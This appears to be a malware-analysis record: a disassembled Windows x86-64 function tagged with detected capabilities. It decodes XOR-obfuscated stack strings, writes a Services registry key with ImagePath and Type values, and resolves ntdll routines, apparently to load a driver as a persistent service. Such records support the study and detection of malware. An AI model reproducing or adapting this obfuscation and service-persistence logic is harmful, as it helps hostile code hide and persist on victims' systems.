Function at 0x14000ba90
Capabilities:
Contain obfuscated stackstrings
Persist via windows service
Set registry value

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x120]
sub rsp, 0x220
mov rax, qword [0x140033040]
xor rax, rsp
mov qword [rbp + 0x118], rax
mov rbx, rcx
lea rcx, [rbp + 0xe8]
call fcn.140005930
nop
mov edx, 0x76
mov dword [rsp + 0x60], 0x250076
mov dword [rsp + 0x64], 0x25002f
mov dword [rsp + 0x68], 0x330022
mov dword [rsp + 0x6c], 0x2a003b
mov dword [rsp + 0x70], 0x30035
mov dword [rsp + 0x74], 0x40004
mov dword [rsp + 0x78], 0x180013
mov dword [rsp + 0x7c], 0x350002
mov dword [rbp - 0x80], 0x180019
mov dword [rbp - 0x7c], 0x40002
mov dword [rbp - 0x78], 0x1a0019
mov dword [rbp - 0x74], 0x130025
mov dword [rbp - 0x70], 0x2a0002
mov dword [rbp - 0x6c], 0x130025
mov dword [rbp - 0x68], 4
xor r15d, r15d
mov dword [rbp - 0x64], 0x15001f
mov dword [rbp - 0x60], 0x50013
mov dword [rbp - 0x5c], 0x76002a
movzx eax, word [0x14002ef76]
xor ax, dx
mov word [rbp - 0x58], ax
movzx eax, word [str.___]
xor ax, dx
mov word [rbp - 0x56], ax
movzx eax, word [0x14002ef7a]
xor ax, dx
mov word [rbp - 0x54], ax
movzx eax, word [0x14002ef7c]
xor ax, dx
mov word [rbp - 0x52], ax
movzx eax, word [0x14002ef7e]
xor ax, dx
mov word [rbp - 0x50], ax
movzx eax, word [0x14002ef80]
xor ax, dx
mov word [rbp - 0x4e], ax
movzx eax, word [0x14002ef82]
xor ax, dx
mov word [rbp - 0x4c], ax
movzx eax, word [0x14002ef84]
xor ax, dx
mov word [rbp - 0x4a], ax
movzx eax, word [0x14002ef86]
xor ax, dx
mov word [rbp - 0x48], ax
movzx eax, word [str.ImagePath]
xor ax, dx
mov word [rbp - 0x46], ax
movzx eax, word [0x14002ef8a]
xor ax, dx
mov word [rbp - 0x44], ax
movzx eax, word [0x14002ef8c]
xor ax, dx
mov word [rbp - 0x42], ax
movzx eax, word [0x14002ef8e]
xor ax, dx
mov word [rbp - 0x40], ax
movzx eax, word [0x14002ef90]
xor ax, dx
mov word [rbp - 0x3e], ax
movzx eax, word [0x14002ef92]
xor ax, dx
mov word [rbp - 0x3c], ax
movzx eax, word [0x14002ef94]
xor ax, dx
mov word [rbp - 0x3a], ax
movzx eax, word [reloc.WS2_32.dll_WSACleanup]
xor ax, dx
mov word [rbp - 0x38], ax
movzx eax, word [0x14002ef98]
xor ax, dx
mov word [rbp - 0x36], ax
movzx eax, word [0x14002ef9a]
xor ax, dx
mov word [rbp - 0x34], ax
movzx eax, word [0x14002ef9c]
xor ax, dx
mov word [rbp - 0x32], ax
movzx eax, word [0x14002ef9e]
xor ax, dx
mov word [rbp - 0x30], ax
movzx eax, word [str.Type]
xor ax, dx
mov word [rbp - 0x2e], ax
movzx eax, word [0x14002efa2]
xor ax, dx
mov word [rbp - 0x2c], ax
movzx eax, word [0x14002efa4]
xor ax, dx
mov word [rbp - 0x2a], ax
movzx eax, word [0x14002efa6]
xor ax, dx
mov word [rbp - 0x28], ax
movzx eax, word [0x14002efa8]
xor ax, dx
mov word [rbp - 0x26], ax
movzx eax, word [0x14002efaa]
xor ax, dx
mov word [rbp - 0x24], ax
movzx eax, word [0x14002efac]
xor ax, dx
mov word [rbp - 0x22], ax
movzx eax, word [0x14002efae]
xor ax, dx
mov word [rbp - 0x20], ax
movzx eax, word [str.RegistryMachineSystemCurrentControlSetServices_]
xor ax, dx
mov word [rbp - 0x1e], ax
movzx eax, word [0x14002efb2]
xor ax, dx
mov word [rbp - 0x1c], ax
movzx eax, word [0x14002efb4]
xor ax, dx
mov word [rbp - 0x1a], ax
movzx eax, word [0x14002efb6]
xor ax, dx
mov word [rbp - 0x18], ax
movzx eax, word [0x14002efb8]
xor ax, dx
mov word [rbp - 0x16], ax
xor eax, eax
mov word [rbp - 0x14], ax
mov ecx, r15d
nop dword [rax + rax]
xor word [rsp + rcx*2 + 0x62], dx
movzx eax, word [rsp + 0x60]
xor word [rsp + rcx*2 + 0x64], ax
movzx eax, word [rsp + 0x60]
xor word [rsp + rcx*2 + 0x66], ax
movzx eax, word [rsp + 0x60]
xor word [rsp + rcx*2 + 0x68], ax
movzx eax, word [rsp + 0x60]
xor word [rsp + rcx*2 + 0x6a], ax
movzx eax, word [rsp + 0x60]
xor word [rsp + rcx*2 + 0x6c], ax
movzx eax, word [rsp + 0x60]
xor word [rsp + rcx*2 + 0x6e], ax
movzx eax, word [rsp + 0x60]
xor word [rsp + rcx*2 + 0x70], ax
movzx eax, word [rsp + 0x60]
xor word [rsp + rcx*2 + 0x72], ax
movzx eax, word [rsp + 0x60]
xor word [rsp + rcx*2 + 0x74], ax
movzx eax, word [rsp + 0x60]
xor word [rsp + rcx*2 + 0x76], ax
movzx eax, word [rsp + 0x60]
xor word [rsp + rcx*2 + 0x78], ax
movzx eax, word [rsp + 0x60]
xor word [rsp + rcx*2 + 0x7a], ax
movzx eax, word [rsp + 0x60]
xor word [rsp + rcx*2 + 0x7c], ax
movzx eax, word [rsp + 0x60]
xor word [rsp + rcx*2 + 0x7e], ax
movzx eax, word [rsp + 0x60]
xor word [rbp + rcx*2 - 0x80], ax
movzx eax, word [rsp + 0x60]
xor word [rbp + rcx*2 - 0x7e], ax
movzx eax, word [rsp + 0x60]
xor word [rbp + rcx*2 - 0x7c], ax
movzx eax, word [rsp + 0x60]
xor word [rbp + rcx*2 - 0x7a], ax
movzx eax, word [rsp + 0x60]
xor word [rbp + rcx*2 - 0x78], ax
movzx eax, word [rsp + 0x60]
xor word [rbp + rcx*2 - 0x76], ax
movzx eax, word [rsp + 0x60]
xor word [rbp + rcx*2 - 0x74], ax
movzx eax, word [rsp + 0x60]
xor word [rbp + rcx*2 - 0x72], ax
add rcx, 0x17
cmp rcx, 0x45
jae 0x14000be45
movzx edx, word [rsp + 0x60]
jmp 0x14000bd50
mov word [rbp - 0x14], r15w
lea r8, [rbp + 0xe8]
lea rdx, [rsp + 0x62]
lea rcx, [rbp + 0xc8]
call fcn.14000b910
nop
mov r8, rbx
lea rdx, str.___
lea rcx, [rbp + 0x88]
call fcn.14000b910
nop
lea rdx, [rbp + 0xc8]
cmp qword [rbp + 0xe0], 7
cmova rdx, qword [rbp + 0xc8]
lea r8, [rbp + 0x78]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x14000c900
mov eax, dword [rbp + 0x98]
add eax, eax
mov dword [rbp + 0x6c], eax
lea rax, [rbp + 0x88]
cmp qword [rbp + 0xa0], 7
cmova rax, qword [rbp + 0x88]
mov qword [rbp + 0x70], rax
mov ecx, 0x6e
mov dword [rbp + 0x40], ecx
mov word [rsp + 0x30], cx
lea ebx, [rcx - 0x5f]
lea r15d, [rcx - 0x63]
lea r12d, [rcx - 0x30]
lea r13d, [rcx - 0x68]
movzx edi, cx
movzx eax, word [0x14002ef9c]
xor ax, cx
mov word [rbp + 0x68], ax
movzx esi, word [0x14002ef9e]
xor si, cx
movzx r11d, word [str.Type]
xor r11w, cx
movzx r10d, word [0x14002efa2]
xor r10w, cx
movzx r9d, word [0x14002efa4]
xor r9w, cx
movzx r8d, word [0x14002efa6]
xor r8w, cx
movzx edx, word [0x14002efa8]
xor dx, cx
movzx ecx, word [0x14002efaa]
xor cx, di
movzx eax, word [0x14002efac]
xor ax, di
mov r14d, 0x27
xor r14w, word [rbp + 0x40]
mov word [rsp + 0x32], r14w
mov r14d, 3
xor r14w, word [rbp + 0x40]
mov word [rsp + 0x34], r14w
mov r14d, ebx
xor r14w, word [rbp + 0x40]
mov word [rsp + 0x36], r14w
mov r14d, 9
xor r14w, word [rbp + 0x40]
mov word [rsp + 0x38], r14w
mov r14d, WSAStartup
xor r15w, r14w
mov word [rsp + 0x3a], r15w
xor r12w, r14w
mov word [rsp + 0x3c], r12w
xor bx, r14w
mov word [rsp + 0x3e], bx
mov ebx, 0x1a
xor bx, r14w
mov word [rsp + 0x40], bx
xor r13w, r14w
mov word [rsp + 0x42], r13w
xor di, r14w
mov word [rsp + 0x44], di
movzx ebx, word [rbp + 0x68]
xor bx, r14w
mov word [rsp + 0x46], bx
xor si, r14w
mov word [rsp + 0x48], si
xor r11w, r14w
mov word [rsp + 0x4a], r11w
xor r10w, r14w
mov word [rsp + 0x4c], r10w
xor r9w, r14w
mov word [rsp + 0x4e], r9w
xor r8w, r14w
mov word [rsp + 0x50], r8w
xor dx, r14w
mov word [rsp + 0x52], dx
xor cx, r14w
mov word [rsp + 0x54], cx
xor ax, r14w
mov word [rsp + 0x56], ax
xor r15d, r15d
mov word [rsp + 0x58], r15w
mov eax, dword [rbp + 0x6c]
mov dword [rsp + 0x28], eax
mov rax, qword [rbp + 0x70]
mov qword [rsp + 0x20], rax
lea r9d, [r14 - 0x6c]
lea r8, [rsp + 0x32]
xor edx, edx
mov rcx, qword [rbp + 0x78]
call qword [sym.imp.ADVAPI32.dll_RegSetKeyValueW]
test eax, eax
je 0x14000c074
mov rcx, qword [rbp + 0x78]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x14000c900
mov r14d, 0x29
mov word [rsp + 0x30], r14w
lea ebx, [r14 + 0x23]
lea r9d, [r14 + 0x54]
lea r10d, [r14 + 0x27]
lea r11d, [r14 + 0x30]
movzx edx, r14w
movzx edi, word [0x14002efaa]
xor di, r14w
movzx r8d, word [0x14002efac]
xor r8w, r14w
movzx ecx, word [0x14002efae]
xor cx, r14w
movzx eax, word [str.RegistryMachineSystemCurrentControlSetServices_]
xor ax, r14w
xor esi, esi
xor r9w, r14w
mov word [rsp + 0x32], r9w
xor r10w, r14w
mov word [rsp + 0x34], r10w
xor r11w, r14w
mov word [rsp + 0x36], r11w
xor bx, r14w
mov word [rsp + 0x38], bx
xor dx, r14w
mov word [rsp + 0x3a], dx
xor di, r14w
mov word [rsp + 0x3c], di
xor r8w, r14w
mov word [rsp + 0x3e], r8w
xor cx, r14w
mov word [rsp + 0x40], cx
xor ax, r14w
mov word [rsp + 0x42], ax
mov word [rsp + 0x44], r15w
mov dword [rsp + 0x28], 4
lea rax, [0x14002ef20]
mov qword [rsp + 0x20], rax
lea r9d, [r14 - 0x25]
lea r8, [rsp + 0x32]
xor edx, edx
mov rcx, qword [rbp + 0x78]
call qword [sym.imp.ADVAPI32.dll_RegSetKeyValueW]
mov rcx, qword [rbp + 0x78]
test eax, eax
je 0x14000c15a
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x14000c900
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov byte [rbp + 0x48], 0x26
mov al, 0x48
mov cl, 0x52
mov dl, 0x42
mov r8b, 0x4a
movzx r9d, r8b
mov r10b, 8
movzx r11d, dl
movzx ebx, r8b
movzx edi, r8b
xor al, 0x26
mov byte [rbp + 0x49], al
xor cl, 0x26
mov byte [rbp + 0x4a], cl
xor dl, 0x26
mov byte [rbp + 0x4b], dl
xor r8b, 0x26
mov byte [rbp + 0x4c], r8b
xor r9b, 0x26
mov byte [rbp + 0x4d], r9b
xor r10b, 0x26
mov byte [rbp + 0x4e], r10b
xor r11b, 0x26
mov byte [rbp + 0x4f], r11b
xor bl, 0x26
mov byte [rbp + 0x50], bl
xor dil, 0x26
mov byte [rbp + 0x51], dil
mov byte [rbp + 0x52], sil
lea rcx, [rbp + 0x49]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r10, rax
mov qword [rbp + 0x70], rax
test rax, rax
je 0x14000c900
movdqa xmm1, xmmword [0x14002f030]
movdqu xmmword [rsp + 0x30], xmm1
mov dl, 0x7a
mov r8b, 0x78
movzx r9d, dl
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x31], al
xor byte [rsp + 0x32], cl
xor byte [rsp + 0x33], cl
xor byte [rsp + 0x34], cl
xor byte [rsp + 0x35], cl
xor byte [rsp + 0x36], cl
xor byte [rsp + 0x37], cl
xor byte [rsp + 0x38], cl
xor byte [rsp + 0x39], cl
xor byte [rsp + 0x3a], cl
xor byte [rsp + 0x3b], cl
xor byte [rsp + 0x3c], cl
xor byte [rsp + 0x3d], cl
xor byte [rsp + 0x3e], cl
xor byte [rsp + 0x3f], cl
xor dl, cl
mov byte [rsp + 0x40], dl
xor r8b, cl
mov byte [rsp + 0x41], r8b
xor r9b, cl
mov byte [rsp + 0x42], r9b
mov byte [rsp + 0x43], sil
lea rdx, [rsp + 0x31]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r13, rax
mov byte [rbp + 0x58], 0x35
mov cl, 0x7b
mov dl, 0x41
mov r8b, 0x79
mov r9b, 0x5a
mov r10b, 0x54
mov r11b, 0x51
mov bl, 0x71
mov dil, 0x47
mov sil, 0x5c
mov r14b, 0x43
mov r15b, 0x50
movzx r12d, dil
xor eax, eax
xor cl, 0x35
mov byte [rbp + 0x59], cl
xor dl, 0x35
mov byte [rbp + 0x5a], dl
xor r8b, 0x35
mov byte [rbp + 0x5b], r8b
xor r9b, 0x35
mov byte [rbp + 0x5c], r9b
xor r10b, 0x35
mov byte [rbp + 0x5d], r10b
xor r11b, 0x35
mov byte [rbp + 0x5e], r11b
xor bl, 0x35
mov byte [rbp + 0x5f], bl
xor dil, 0x35
mov byte [rbp + 0x60], dil
xor sil, 0x35
mov byte [rbp + 0x61], sil
xor r14b, 0x35
mov byte [rbp + 0x62], r14b
xor r15b, 0x35
mov byte [rbp + 0x63], r15b
xor r12b, 0x35
mov byte [rbp + 0x64], r12b
mov byte [rbp + 0x65], al
lea rdx, [rbp + 0x59]
mov rcx, qword [rbp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea r9, [rbp + 0x80]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0xa]
call r13
test eax, eax
js 0x14000c8fd
mov edx, 0x41
mov dword [rsp + 0x60], 0x1d0041
mov dword [rsp + 0x64], 0x240013
mov dword [rsp + 0x68], 0x280026
mov dword [rsp + 0x6c], 0x350032
mov dword [rsp + 0x70], 0x380033
mov dword [rsp + 0x74], 0xc001d
mov dword [rsp + 0x78], 0x220020
mov dword [rsp + 0x7c], 0x280029
mov dword [rbp - 0x80], 0x24002f
mov dword [rbp - 0x7c], 0x12001d
mov dword [rbp - 0x78], 0x320038
mov dword [rbp - 0x74], 0x240035
mov dword [rbp - 0x70], 0x1d002c
mov dword [rbp - 0x6c], 0x340002
mov dword [rbp - 0x68], 0x330033
mov dword [rbp - 0x64], 0x2f0024
mov dword [rbp - 0x60], 0x20035
mov dword [rbp - 0x5c], 0x2f002e
mov dword [rbp - 0x58], 0x330035
mov dword [rbp - 0x54], 0x2d002e
mov dword [rbp - 0x50], 0x240012
mov dword [rbp - 0x4c], 0x1d0035
mov dword [rbp - 0x48], 0x240012
mov dword [rbp - 0x44], 0x370033
mov dword [rbp - 0x40], 0x220028
mov dword [rbp - 0x3c], 0x320024
mov dword [rbp - 0x38], 0x41001d
movzx eax, word [0x14002f01a]
xor ax, dx
mov word [rbp - 0x34], ax
movzx eax, word [0x14002f01c]
xor ax, dx
mov word [rbp - 0x32], ax
movzx eax, word [0x14002f01e]
xor ax, dx
mov word [rbp - 0x30], ax
movzx eax, word [0x14002f020]
xor ax, dx
mov word [rbp - 0x2e], ax
movzx eax, word [0x14002f022]
xor ax, dx
mov word [rbp - 0x2c], ax
movzx eax, word [str.__27]
xor ax, dx
mov word [rbp - 0x2a], ax
movzx eax, word [0x14002f026]
xor ax, dx
mov word [rbp - 0x28], ax
movzx eax, word [0x14002f028]
xor ax, dx
mov word [rbp - 0x26], ax
movzx eax, word [str._:_6_]
xor ax, dx
mov word [rbp - 0x24], ax
movzx eax, word [0x14002f02c]
xor ax, dx
mov word [rbp - 0x22], ax
movzx eax, word [0x14002f02e]
xor ax, dx
mov word [rbp - 0x20], ax
movzx eax, word [0x14002f030]
xor ax, dx
mov word [rbp - 0x1e], ax
movzx eax, word [0x14002f032]
xor ax, dx
mov word [rbp - 0x1c], ax
movzx eax, word [0x14002f034]
xor ax, dx
mov word [rbp - 0x1a], ax
movzx eax, word [0x14002f036]
xor ax, dx
mov word [rbp - 0x18], ax
movzx eax, word [0x14002f038]
xor ax, dx
mov word [rbp - 0x16], ax
movzx eax, word [0x14002f03a]
xor ax, dx
mov word [rbp - 0x14], ax
movzx eax, word [0x14002f03c]
xor ax, dx
mov word [rbp - 0x12], ax
movzx eax, word [0x14002f03e]
xor ax, dx
mov word [rbp - 0x10], ax
movzx eax, word [0x14002f040]
xor ax, dx
mov word [rbp - 0xe], ax
movzx eax, word [0x14002f042]
xor ax, dx
mov word [rbp - 0xc], ax
movzx eax, word [0x14002f044]
xor ax, dx
mov word [rbp - 0xa], ax
movzx eax, word [0x14002f046]
xor ax, dx
mov word [rbp - 8], ax
movzx eax, word [vtable.type_info.0]
xor ax, dx
mov word [rbp - 6], ax
movzx eax, word [0x14002f04a]
xor ax, dx
mov word [rbp - 4], ax
movzx eax, word [0x14002f04c]
xor ax, dx
mov word [rbp - 2], ax
movzx eax, word [0x14002f04e]
xor ax, dx
mov word [rbp], ax
movzx eax, word [0x14002f050]
xor ax, dx
mov word [rbp + 2], ax
movzx eax, word [0x14002f052]
xor ax, dx
mov word [rbp + 4], ax
movzx eax, word [0x14002f054]
xor ax, dx
mov word [rbp + 6], ax
movzx eax, word [0x14002f056]
xor ax, dx
mov word [rbp + 8], ax
movzx eax, word [0x14002f058]
xor ax, dx
mov word [rbp + 0xa], ax
movzx eax, word [0x14002f05a]
xor ax, dx
mov word [rbp + 0xc], ax
movzx eax, word [0x14002f05c]
xor ax, dx
mov word [rbp + 0xe], ax
movzx eax, word [0x14002f05e]
xor ax, dx
mov word [rbp + 0x10], ax
movzx eax, word [0x14002f060]
xor ax, dx
mov word [rbp + 0x12], ax
movzx eax, word [0x14002f062]
xor ax, dx
mov word [rbp + 0x14], ax
movzx eax, word [0x14002f064]
xor ax, dx
mov word [rbp + 0x16], ax
movzx eax, word [0x14002f066]
xor ax, dx
mov word [rbp + 0x18], ax
movzx eax, word [0x14002f068]
xor ax, dx
mov word [rbp + 0x1a], ax
movzx eax, word [0x14002f06a]
xor ax, dx
mov word [rbp + 0x1c], ax
movzx eax, word [0x14002f06c]
xor ax, dx
mov word [rbp + 0x1e], ax
movzx eax, word [0x14002f06e]
xor ax, dx
mov word [rbp + 0x20], ax
movzx eax, word [str.bad_allocation]
xor ax, dx
mov word [rbp + 0x22], ax
movzx eax, word [0x14002f072]
xor ax, dx
mov word [rbp + 0x24], ax
movzx eax, word [0x14002f074]
xor ax, dx
mov word [rbp + 0x26], ax
movzx eax, word [0x14002f076]
xor ax, dx
mov word [rbp + 0x28], ax
movzx eax, word [0x14002f078]
xor ax, dx
mov word [rbp + 0x2a], ax
movzx eax, word [0x14002f07a]
xor ax, dx
mov word [rbp + 0x2c], ax
movzx eax, word [0x14002f07c]
xor ax, dx
mov word [rbp + 0x2e], ax
movzx eax, word [0x14002f07e]
xor ax, dx
mov word [rbp + 0x30], ax
movzx eax, word [0x14002f080]
xor ax, dx
mov word [rbp + 0x32], ax
xor eax, eax
mov word [rbp + 0x34], ax
xor r15d, r15d
mov ecx, r15d
nop
xor word [rsp + rcx*2 + 0x62], dx
movzx eax, word [rsp + 0x60]
xor word [rsp + rcx*2 + 0x64], ax
movzx eax, word [rsp + 0x60]
xor word [rsp + rcx*2 + 0x66], ax
movzx eax, word [rsp + 0x60]
xor word [rsp + rcx*2 + 0x68], ax
movzx eax, word [rsp + 0x60]
xor word [rsp + rcx*2 + 0x6a], ax
movzx eax, word [rsp + 0x60]
xor word [rsp + rcx*2 + 0x6c], ax
movzx eax, word [rsp + 0x60]
xor word [rsp + rcx*2 + 0x6e], ax
movzx eax, word [rsp + 0x60]
xor word [rsp + rcx*2 + 0x70], ax
movzx eax, word [rsp + 0x60]
xor word [rsp + rcx*2 + 0x72], ax
movzx eax, word [rsp + 0x60]
xor word [rsp + rcx*2 + 0x74], ax
movzx eax, word [rsp + 0x60]
xor word [rsp + rcx*2 + 0x76], ax
movzx eax, word [rsp + 0x60]
xor word [rsp + rcx*2 + 0x78], ax
movzx eax, word [rsp + 0x60]
xor word [rsp + rcx*2 + 0x7a], ax
movzx eax, word [rsp + 0x60]
xor word [rsp + rcx*2 + 0x7c], ax
movzx eax, word [rsp + 0x60]
xor word [rsp + rcx*2 + 0x7e], ax
movzx eax, word [rsp + 0x60]
xor word [rbp + rcx*2 - 0x80], ax
movzx eax, word [rsp + 0x60]
xor word [rbp + rcx*2 - 0x7e], ax
movzx eax, word [rsp + 0x60]
xor word [rbp + rcx*2 - 0x7c], ax
movzx eax, word [rsp + 0x60]
xor word [rbp + rcx*2 - 0x7a], ax
movzx eax, word [rsp + 0x60]
xor word [rbp + rcx*2 - 0x78], ax
movzx eax, word [rsp + 0x60]
xor word [rbp + rcx*2 - 0x76], ax
movzx eax, word [rsp + 0x60]
xor word [rbp + rcx*2 - 0x74], ax
movzx eax, word [rsp + 0x60]
xor word [rbp + rcx*2 - 0x72], ax
movzx eax, word [rsp + 0x60]
xor word [rbp + rcx*2 - 0x70], ax
movzx eax, word [rsp + 0x60]
xor word [rbp + rcx*2 - 0x6e], ax
movzx eax, word [rsp + 0x60]
xor word [rbp + rcx*2 - 0x6c], ax
movzx eax, word [rsp + 0x60]
xor word [rbp + rcx*2 - 0x6a], ax
movzx eax, word [rsp + 0x60]
xor word [rbp + rcx*2 - 0x68], ax
movzx eax, word [rsp + 0x60]
xor word [rbp + rcx*2 - 0x66], ax
movzx eax, word [rsp + 0x60]
xor word [rbp + rcx*2 - 0x64], ax
movzx eax, word [rsp + 0x60]
xor word [rbp + rcx*2 - 0x62], ax
movzx eax, word [rsp + 0x60]
xor word [rbp + rcx*2 - 0x60], ax
movzx eax, word [rsp + 0x60]
xor word [rbp + rcx*2 - 0x5e], ax
movzx eax, word [rsp + 0x60]
xor word [rbp + rcx*2 - 0x5c], ax
movzx eax, word [rsp + 0x60]
xor word [rbp + rcx*2 - 0x5a], ax
add rcx, 0x23
cmp rcx, 0x69
jae 0x14000c83d
movzx edx, word [rsp + 0x60]
jmp 0x14000c6d0
mov word [rbp + 0x34], r15w
lea r8, [rbp + 0xe8]
lea rdx, [rsp + 0x62]
lea rcx, [rbp + 0xa8]
call fcn.14000b910
nop
lea rdx, [rbp + 0xa8]
cmp qword [rbp + 0xc0], 7
cmova rdx, qword [rbp + 0xa8]
lea rcx, [rbp + 0x108]
call sub.ntdll.dll_RtlInitUnicodeString
lea rcx, [rbp + 0x108]
call rbx
mov ebx, eax
cmp eax, 0xc000010e
jne 0x14000c894
mov bl, 1
jmp 0x14000c89a
shr ebx, 0x1f
xor bl, 1
mov rdx, qword [rbp + 0xc0]
cmp rdx, 7
jbe 0x14000c8e3
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xa8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c8de
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000c8de
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de64
movdqa xmm0, xmmword [0x14002ee10]
movdqu xmmword [rbp + 0xb8], xmm0
mov word [rbp + 0xa8], r15w
jmp 0x14000c902
xor r15d, r15d
xor bl, bl
mov rdx, qword [rbp + 0xa0]
cmp rdx, 7
jbe 0x14000c94b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x88]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c946
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000c946
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de64
movdqa xmm0, xmmword [0x14002ee10]
movdqu xmmword [rbp + 0x98], xmm0
mov word [rbp + 0x88], r15w
mov rdx, qword [rbp + 0xe0]
cmp rdx, 7
jbe 0x14000c9ac
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xc8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c9a7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000c9a7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de64
movdqa xmm0, xmmword [0x14002ee10]
movdqu xmmword [rbp + 0xd8], xmm0
mov word [rbp + 0xc8], r15w
mov rdx, qword [rbp + 0x100]
cmp rdx, 7
jbe 0x14000ca0d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xe8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ca08
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000ca08
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de64
movzx eax, bl
mov rcx, qword [rbp + 0x118]
xor rcx, rsp
call fcn.14000e100
lea r11, [rsp + 0x220]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret